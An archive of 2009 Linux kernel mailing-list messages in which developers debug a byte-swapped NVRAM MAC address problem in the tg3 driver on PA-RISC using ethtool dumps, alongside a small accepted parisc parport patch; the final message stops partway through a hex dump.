X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Tue, 14 Apr 2009 03:51:25 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <1239681085.3278.122.camel@mulgrave.int.hansenpartnership.com>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
	 <20090413.143211.214694858.davem@davemloft.net>
	 <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
	 <1239661059.9237.4.camel@HP1>
	 <1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com>
	 <20090414012548.GB11615@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239681096 5655 80.91.229.12 (14 Apr 2009 03:51:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 03:51:36 +0000 (UTC)
Cc: Michael Chan <mchan@broadcom.com>,
	David Miller <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 05:52:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtZhc-0003Jg-GR
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 05:52:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751697AbZDNDvZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 23:51:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752517AbZDNDvY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 23:51:24 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45477 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751697AbZDNDvY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 23:51:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6FF158EE1C1;
	Mon, 13 Apr 2009 20:51:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FeODsywuJsG5; Mon, 13 Apr 2009 20:51:23 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CA71A8EE023;
	Mon, 13 Apr 2009 20:51:22 -0700 (PDT)
In-Reply-To: <20090414012548.GB11615@xw6200.broadcom.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1529 gmane.linux.network:125229
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1529>

On Mon, 2009-04-13 at 18:25 -0700, Matt Carlson wrote:
> On Mon, Apr 13, 2009 at 03:32:14PM -0700, James Bottomley wrote:
> > On Mon, 2009-04-13 at 15:17 -0700, Michael Chan wrote:
> > > On Mon, 2009-04-13 at 14:42 -0700, James Bottomley wrote:
> > > 
> > > > ---
> > > > On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > > > > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > > > > return the data in bytestream format.  A memcpy() should be all that is
> > > > > needed to transport the data to a different memory location.
> > > > 
> > > > But not the one you've done.  cpu_to_be32 is a nop pass through on our
> > > > architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> > > > our architecture (i.e. identical to the code that was doing the read in
> > > > 2.6.29).  However, the memcpy is the wrong way around for us.  If you
> > > > look at an example, the original code said
> > > 
> > > The old tg3_nvram_read() had a swab32() after the readl().  The new
> > > tg3_nvram_read() no longer has the swab32().  There were too many layers
> > > of swapping in the old code and that's why Matt wanted to clean it up.
> > > 
> > > James, can do dump out the nvram content on the parisc?
> > > 
> > > ethtool -e eth0 length 0x90
> > > 
> > > Thanks.
> > 
> > Sure, ion's is
> > 
> > ion:~# ethtool -e eth0 length 0x90
> > Address         Data
> > ----------      ----
> > 0x00000000      0xaa
> > 0x00000001      0x55
> > 0x00000002      0x99
> > 0x00000003      0x66
> 
> Michael noticed that your NVRAM signature is byteswapped in NVRAM. (!)
> That also explains why the driver is trying to obtain the MAC address
> through NVRAM, rather than getting it from shared memory.  The device's
> bootcode is not working correctly.

Um, well, this is a parisc:  the device's boot code won't be working at
all (parisc doesn't have open firmware boot).  The values might be laid
down by the platform IODC, but usually for add in cards, they're the
default initialise values the card comes up with.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 20:56:55 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB343977242177D75A050@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <20090413.195159.56924183.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1239681443 6158 80.91.229.12 (14 Apr 2009 03:57:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 03:57:23 +0000 (UTC)
Cc: "James.Bottomley@HansenPartnership.com" 
	<James.Bottomley@HansenPartnership.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "'David Miller'" <davem@davemloft.net>,
	"Matthew Carlson" <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 05:58:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtZnA-00045u-OX
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 05:58:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753084AbZDND5J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 23:57:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752927AbZDND5J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 23:57:09 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:3663 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752693AbZDND5I convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 23:57:08 -0400
Original-Received: from [10.9.200.131] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 20:56:56 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Mon, 13
 Apr 2009 20:56:56 -0700
Thread-Topic: [PATCH] tg3: fix big endian MAC address collection failure
Thread-Index: Acm8rAPgfL0js6rZSn2deDnd2maa1AACEe2g
In-Reply-To: <20090413.195159.56924183.davem@davemloft.net>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 65FAD6023D421004969-01-01
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1530 gmane.linux.network:125230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1530>

David Miller wrote:

> From: "Matt Carlson" <mcarlson@broadcom.com>
> Date: Mon, 13 Apr 2009 19:00:15 -0700
>
> > I did run some tests this afternoon on a similar IA64 HP machine and
> > they ran fine.
>
> It can't be similar, James Bottomly is on HP PARISC (big endian) not
> IA64 (which is little endian).

Matt brought up IA64 because Robin Holt reported what seemed like an
identical issue on SGI IA64 machine.

>
> I'm still convinced this is a big-endian driver problem and it has
> nothing to do with broken NVRAM or similar.
>
>

Agreed.  James' problem appears to be a big endian issue.  Everything
is endian-swapped in his NVRAM when he did the ethtool dump.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Chan" <mchan@broadcom.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 21:11:18 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <C27F8246C663564A84BB7AB343977242177D75A052@IRVEXCHCCR01.corp.ad.broadcom.com>
References: <1239681085.3278.122.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1239682300 7748 80.91.229.12 (14 Apr 2009 04:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 04:11:40 +0000 (UTC)
Cc: "David Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "'James Bottomley'" <James.Bottomley@HansenPartnership.com>,
	"Matthew Carlson" <mcarlson@broadcom.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Apr 14 06:12:58 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lta13-0006Tz-FX
	for linux-netdev-2@gmane.org; Tue, 14 Apr 2009 06:12:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750856AbZDNEL2 (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Tue, 14 Apr 2009 00:11:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750826AbZDNEL2
	(ORCPT <rfc822;netdev-outgoing>); Tue, 14 Apr 2009 00:11:28 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:4367 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750711AbZDNEL1 convert rfc822-to-8bit (ORCPT
	<rfc822;netdev@vger.kernel.org>); Tue, 14 Apr 2009 00:11:27 -0400
Original-Received: from [10.9.200.131] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 21:11:19 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: from IRVEXCHCCR01.corp.ad.broadcom.com ([10.252.49.30]) by
 IRVEXCHHUB01.corp.ad.broadcom.com ([10.9.200.131]) with mapi; Mon, 13
 Apr 2009 21:11:19 -0700
Thread-Topic: [PATCH] tg3: fix big endian MAC address collection failure
Thread-Index: Acm8tE3fNn9UWay1T3GhiOb8Xql2GAAAaWHw
In-Reply-To: <1239681085.3278.122.camel@mulgrave.int.hansenpartnership.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
X-WSS-ID: 65FAD36D3847077676-01-01
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:125231 gmane.linux.ports.parisc:1531
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1531>

James Bottomley wrote:

> On Mon, 2009-04-13 at 18:25 -0700, Matt Carlson wrote:
> > On Mon, Apr 13, 2009 at 03:32:14PM -0700, James Bottomley wrote:
> > >
> > > ion:~# ethtool -e eth0 length 0x90
> > > Address         Data
> > > ----------      ----
> > > 0x00000000      0xaa
> > > 0x00000001      0x55
> > > 0x00000002      0x99
> > > 0x00000003      0x66
> >
> > Michael noticed that your NVRAM signature is byteswapped in
> NVRAM. (!)
> > That also explains why the driver is trying to obtain the
> MAC address
> > through NVRAM, rather than getting it from shared memory.
> The device's
> > bootcode is not working correctly.
>
> Um, well, this is a parisc:  the device's boot code won't be
> working at
> all (parisc doesn't have open firmware boot).  The values
> might be laid
> down by the platform IODC, but usually for add in cards, they're the
> default initialise values the card comes up with.
>

Matt was referring to MIPS code that runs inside the MIPS core inside
the TG3 chip.  The code is loaded from NVRAM and will start running
after chip reset.  But I don't agree with Matt that the swapped NVRAM
values were caused by bad MIPS code programmed in the NVRAM.

I agree with DaveM that this appears to be a driver big-endian problem
when reading the NVRAM.  Can you run the same ethtool -e on 2.6.29 to
confirm?  Thanks.

--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wei Yongjun <yjwei@cn.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix the parameters of call to parport_pc_probe_port()
Date: Tue, 14 Apr 2009 14:01:37 +0800
Lines: 37
Approved: news@gmane.org
Message-ID: <49E426C1.50706@cn.fujitsu.com>
References: <aea82416ed6c6805412a2631fe8a8be6420c5c9d.1239687192.git.tony@bakeyournoodle.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=GB2312
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239689000 19677 80.91.229.12 (14 Apr 2009 06:03:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 06:03:20 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Wei Yongjun <yjwei@cn.fujitsu.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 08:04:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ltbl6-0002xL-G5
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 08:04:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751496AbZDNGDJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 02:03:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751736AbZDNGDJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 02:03:09 -0400
Original-Received: from cn.fujitsu.com ([222.73.24.84]:57379 "EHLO song.cn.fujitsu.com"
	rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org with ESMTP
	id S1751496AbZDNGDI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 02:03:08 -0400
Original-Received: from tang.cn.fujitsu.com (tang.cn.fujitsu.com [10.167.250.3])
	by song.cn.fujitsu.com (Postfix) with ESMTP id 18BCF17014E;
	Tue, 14 Apr 2009 14:52:17 +0800 (CST)
Original-Received: from fnst.cn.fujitsu.com (localhost.localdomain [127.0.0.1])
	by tang.cn.fujitsu.com (8.13.1/8.13.1) with ESMTP id n3E638M8030962;
	Tue, 14 Apr 2009 14:03:08 +0800
Original-Received: from [127.0.0.1] (unknown [10.167.141.76])
	by fnst.cn.fujitsu.com (Postfix) with ESMTP id 4EB2DD4016;
	Tue, 14 Apr 2009 14:08:57 +0800 (CST)
User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)
In-Reply-To: <aea82416ed6c6805412a2631fe8a8be6420c5c9d.1239687192.git.tony@bakeyournoodle.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1532>

commit 51dcdfec6a274afc1c6fce180d582add9ff512c0 (parport: Use the PCI
IRQ if offered) parport_pc_probe_port() gained an irqflags arg. This
break parisc. This patch make parisc fallback to the old behaviour,
that is using "0" for irqflags.

No test.

Signed-off-by: Wei Yongjun <yjwei@cn.fujitsu.com>
---
 drivers/parisc/superio.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 4fa3bb2..f6727e2 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -434,7 +434,8 @@ static void __init superio_parport_init(void)
 			0 /*base_hi*/,
 			PAR_IRQ, 
 			PARPORT_DMA_NONE /* dma */,
-			NULL /*struct pci_dev* */) )
+			NULL /*struct pci_dev* */,
+			0))
 
 		printk(KERN_WARNING PFX "Probing parallel port failed.\n");
 #endif	/* CONFIG_PARPORT_PC */
-- 
1.5.3.8




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix the parameters of call to
	parport_pc_probe_port()
Date: Tue, 14 Apr 2009 10:13:20 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20090414141320.GB30359@bombadil.infradead.org>
References: <aea82416ed6c6805412a2631fe8a8be6420c5c9d.1239687192.git.tony@bakeyournoodle.com> <49E426C1.50706@cn.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239718424 11207 80.91.229.12 (14 Apr 2009 14:13:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 14:13:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Wei Yongjun <yjwei@cn.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 16:14:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtjPc-00028g-H5
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 16:14:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752561AbZDNON3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 10:13:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753843AbZDNON3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 10:13:29 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39812 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752561AbZDNON2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 10:13:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LtjO4-0001N8-NP; Tue, 14 Apr 2009 14:13:20 +0000
Content-Disposition: inline
In-Reply-To: <49E426C1.50706@cn.fujitsu.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1533>

On Tue, Apr 14, 2009 at 02:01:37PM +0800, Wei Yongjun wrote:
> commit 51dcdfec6a274afc1c6fce180d582add9ff512c0 (parport: Use the PCI
> IRQ if offered) parport_pc_probe_port() gained an irqflags arg. This
> break parisc. This patch make parisc fallback to the old behaviour,
> that is using "0" for irqflags.
> 
> No test.
> 

Looks good, thanks, applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Tue, 14 Apr 2009 15:26:29 +0000
Lines: 204
Approved: news@gmane.org
Message-ID: <1239722789.3357.39.camel@mulgrave.int.hansenpartnership.com>
References: <C27F8246C663564A84BB7AB343977242177D75A052@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239722813 27003 80.91.229.12 (14 Apr 2009 15:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 15:26:53 +0000 (UTC)
Cc: Matthew Carlson <mcarlson@broadcom.com>,
	David Miller <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 17:28:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtkYK-0004q9-GJ
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 17:28:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751754AbZDNP0a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 11:26:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751837AbZDNP0a
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 11:26:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37298 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751741AbZDNP03 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 11:26:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4C4008EE13D;
	Tue, 14 Apr 2009 08:26:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id c0vOn9Jh6A0t; Tue, 14 Apr 2009 08:26:28 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8A39A8EE037;
	Tue, 14 Apr 2009 08:26:27 -0700 (PDT)
In-Reply-To: <C27F8246C663564A84BB7AB343977242177D75A052@IRVEXCHCCR01.corp.ad.broadcom.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1534 gmane.linux.network:125261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1534>

On Mon, 2009-04-13 at 21:11 -0700, Michael Chan wrote:
> James Bottomley wrote:
> 
> > On Mon, 2009-04-13 at 18:25 -0700, Matt Carlson wrote:
> > > On Mon, Apr 13, 2009 at 03:32:14PM -0700, James Bottomley wrote:
> > > >
> > > > ion:~# ethtool -e eth0 length 0x90
> > > > Address         Data
> > > > ----------      ----
> > > > 0x00000000      0xaa
> > > > 0x00000001      0x55
> > > > 0x00000002      0x99
> > > > 0x00000003      0x66
> > >
> > > Michael noticed that your NVRAM signature is byteswapped in
> > NVRAM. (!)
> > > That also explains why the driver is trying to obtain the
> > MAC address
> > > through NVRAM, rather than getting it from shared memory.
> > The device's
> > > bootcode is not working correctly.
> >
> > Um, well, this is a parisc:  the device's boot code won't be
> > working at
> > all (parisc doesn't have open firmware boot).  The values
> > might be laid
> > down by the platform IODC, but usually for add in cards, they're the
> > default initialise values the card comes up with.
> >
> 
> Matt was referring to MIPS code that runs inside the MIPS core inside
> the TG3 chip.  The code is loaded from NVRAM and will start running
> after chip reset.  But I don't agree with Matt that the swapped NVRAM
> values were caused by bad MIPS code programmed in the NVRAM.

Um, yes, me too ... if the boot process doesn't involve the platform,
there's no reason the values would get swapped (unless we're accessing
them wrongly).

> I agree with DaveM that this appears to be a driver big-endian problem
> when reading the NVRAM.  Can you run the same ethtool -e on 2.6.29 to
> confirm?  Thanks.

Sure (just had to rebuild a 2.6.29 kernel):

ion:~# ethtool -e eth0 length 0x90
Address         Data
----------      ----
0x00000000      0x66
0x00000001      0x99
0x00000002      0x55
0x00000003      0xaa
0x00000004      0x08
0x00000005      0x00
0x00000006      0x00
0x00000007      0x00
0x00000008      0x00
0x00000009      0x00
0x0000000a      0x02
0x0000000b      0x29
0x0000000c      0x00
0x0000000d      0x00
0x0000000e      0x02
0x0000000f      0x00
0x00000010      0x9b
0x00000011      0x82
0x00000012      0x3c
0x00000013      0xc5
0x00000014      0x00
0x00000015      0x00
0x00000016      0x00
0x00000017      0x00
0x00000018      0x00
0x00000019      0x00
0x0000001a      0x00
0x0000001b      0x00
0x0000001c      0x00
0x0000001d      0x00
0x0000001e      0x00
0x0000001f      0x00
0x00000020      0x00
0x00000021      0x00
0x00000022      0x00
0x00000023      0x00
0x00000024      0x00
0x00000025      0x00
0x00000026      0x00
0x00000027      0x00
0x00000028      0x00
0x00000029      0x00
0x0000002a      0x00
0x0000002b      0x00
0x0000002c      0x00
0x0000002d      0x00
0x0000002e      0x00
0x0000002f      0x00
0x00000030      0x00
0x00000031      0x00
0x00000032      0x00
0x00000033      0x00
0x00000034      0x00
0x00000035      0x00
0x00000036      0x00
0x00000037      0x00
0x00000038      0x00
0x00000039      0x00
0x0000003a      0x00
0x0000003b      0x00
0x0000003c      0x00
0x0000003d      0x00
0x0000003e      0x00
0x0000003f      0x00
0x00000040      0x00
0x00000041      0x00
0x00000042      0x00
0x00000043      0x00
0x00000044      0x00
0x00000045      0x00
0x00000046      0x00
0x00000047      0x00
0x00000048      0x00
0x00000049      0x00
0x0000004a      0x00
0x0000004b      0x00
0x0000004c      0x00
0x0000004d      0x00
0x0000004e      0x00
0x0000004f      0x00
0x00000050      0x00
0x00000051      0x00
0x00000052      0x00
0x00000053      0x00
0x00000054      0x00
0x00000055      0x00
0x00000056      0x00
0x00000057      0x00
0x00000058      0x00
0x00000059      0x00
0x0000005a      0x00
0x0000005b      0x00
0x0000005c      0x00
0x0000005d      0x00
0x0000005e      0x00
